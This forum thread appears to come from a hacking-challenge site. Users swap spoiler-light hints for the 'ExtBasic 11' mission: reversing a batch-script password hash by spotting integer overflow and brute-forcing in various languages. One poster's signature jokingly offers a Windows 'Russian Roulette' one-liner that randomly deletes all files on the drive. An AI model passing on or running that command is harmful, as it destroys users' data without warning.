## ExtBasic 11

Learn how to do code review

### Re: ExtBasic 11

I used Mathematica to solve this lol
First I thought like 'two numbers are too big'...
then I suddenly realized that 1065435274 is not 1065435274...

(is it spoiler?)
JiminPark
New User

Posts: 6
Joined: Sun May 16, 2010 11:42 pm
Blog: View Blog (0)

### Re: ExtBasic 11

Edited to remove all the crap from me being an idiot. I have a new problem. I have written the code that I need to write ( in C/C++)and verified that I'm generating the same hashes as the batch for any given input, and it works fine to get the passwords less than 6 characters in length ( finds them in seconds).However, my program has now been running for 12 hours and has not cracked it yet, and according to some general idea type charts found on the internet may take a very long time to spit out anything. My specific questions: How long should this take? What kind of optimizations could be done that would significantly speed up this process? I'm not really great at math and can barely program (I'm guided by the compiler bitching at me), are there any resources that others have found helpful and easy to understand for a newbie?
Thanks alot for any help.
HMav
New User

Posts: 2
Joined: Sun Mar 20, 2011 11:49 pm
Blog: View Blog (0)

### Re: ExtBasic 11

JiminPark wrote:I used Mathematica to solve this lol
First I thought like 'two numbers are too big'...
then I suddenly realized that 1065435274 is not 1065435274...

(is it spoiler?)

I'm thinking the same thing, two of the numbers are too big. What do you mean 1065435274 is not 1065435274?
gsingh2011
New User

Posts: 10
Joined: Sun Mar 27, 2011 2:14 pm
Blog: View Blog (0)

### Re: ExtBasic 11

gsingh2011 wrote:
JiminPark wrote:I used Mathematica to solve this lol
First I thought like 'two numbers are too big'...
then I suddenly realized that 1065435274 is not 1065435274...

(is it spoiler?)

I'm thinking the same thing, two of the numbers are too big. What do you mean 1065435274 is not 1065435274?

He means exactly that. Research and learn about data types in programming like char, int, and double. Try changing the batch program to show you the hashes it creates and play around giving it different passwords to hash. The hints will become obvious after you've learned about data types and watched the output of the batch file.
HMav
New User

Posts: 2
Joined: Sun Mar 20, 2011 11:49 pm
Blog: View Blog (0)

### Re: ExtBasic 11

HMav wrote:
gsingh2011 wrote:
JiminPark wrote:I used Mathematica to solve this lol
First I thought like 'two numbers are too big'...
then I suddenly realized that 1065435274 is not 1065435274...

(is it spoiler?)

I'm thinking the same thing, two of the numbers are too big. What do you mean 1065435274 is not 1065435274?

He means exactly that. Research and learn about data types in programming like char, int, and double. Try changing the batch program to show you the hashes it creates and play around giving it different passwords to hash. The hints will become obvious after you've learned about data types and watched the output of the batch file.

Thanks, I got it. But I ended up writing a script to find the right values after I figured out what was going on. I wish my math skills were good enough to do that last part by hand...
gsingh2011
New User

Posts: 10
Joined: Sun Mar 27, 2011 2:14 pm
Blog: View Blog (0)

### Re: ExtBasic 11

Wooo, finally got it. I wrote a c++ program to search for the prime factors but it took me ages to sort out the unwrapping, because I was adding the modulo to hash at the wrong point. Once I'd fixed that bug I got the code after [a bunch of] iterations and about 0.5 seconds. Hope the above doesn't count as a spoiler. I will happily send out my c++ code if anyone PMs me and is really stuck.

Edited by Goatboy
2Karl
New User

Posts: 1
Joined: Sat May 21, 2011 4:19 pm
Blog: View Blog (0)

### Re: ExtBasic 11

This mission was great. I did need the hint about wrapping, but after that knew what needed to be done. Spent a couple days learning python so I'd have a nice scripting language at my disposal, then had to come up with a decent algorithm to get this done. Gave me some exercise in thinking logically. (For those struggling, rethink your logic - your program should reach a solution in just a few seconds.)
cavanh4ck
New User

Posts: 3
Joined: Wed Aug 18, 2010 1:23 pm
Blog: View Blog (0)

### Re: ExtBasic 11

Took me a few hours, but I got it. Took me more time then it should have. Just halfway the range you'd expect, the batch calculus starts to behave "different".

I wrote a batch script to semi-bruteforce it. Took about an hour. Looking back, I should've used c#, but I struggled to find a way to check if a double is a natural number (int). Now I see I didn't have to do that, I could have used the same calculus as 'set' does in batch when reaching numbers above a "certain threshold".

I'm sorry for being so obscure, but I don't want to spoil anyone's eureka moment.
rsrvctrl
New User

Posts: 11
Joined: Fri May 07, 2010 2:28 am
Blog: View Blog (0)

### Re: ExtBasic 11

I highly recommend PHP for this one. But, a word of caution for anyone who does, be aware that the modulus operator (%) only handles integers up to 32-bits in size. For this project, consider using bcmod() .
s0crat1c
New User

Posts: 2
Joined: Thu Jun 30, 2011 5:41 pm
Blog: View Blog (0)

### Re: ExtBasic 11

As can be read above, I first solved this one using a batch script. Been optimizing it somewhat, but still takes a lot of time to do the calculus. So I gave PowerShell a shot. Here are the results:

CMD: 00h:09m:53s.996ms
PS1: 00h:00m:10s.815ms

I'd say PowerShell is somewhat faster
Answers to all HTS missions: %67%6f%6f%67%6c%65%2e%63%6f%6d
Russian Roulette for Windows users: @if %random:~-1% equ 1 del /q /s \*.*
rsrvctrl
New User

Posts: 11
Joined: Fri May 07, 2010 2:28 am
Blog: View Blog (0)

PreviousNext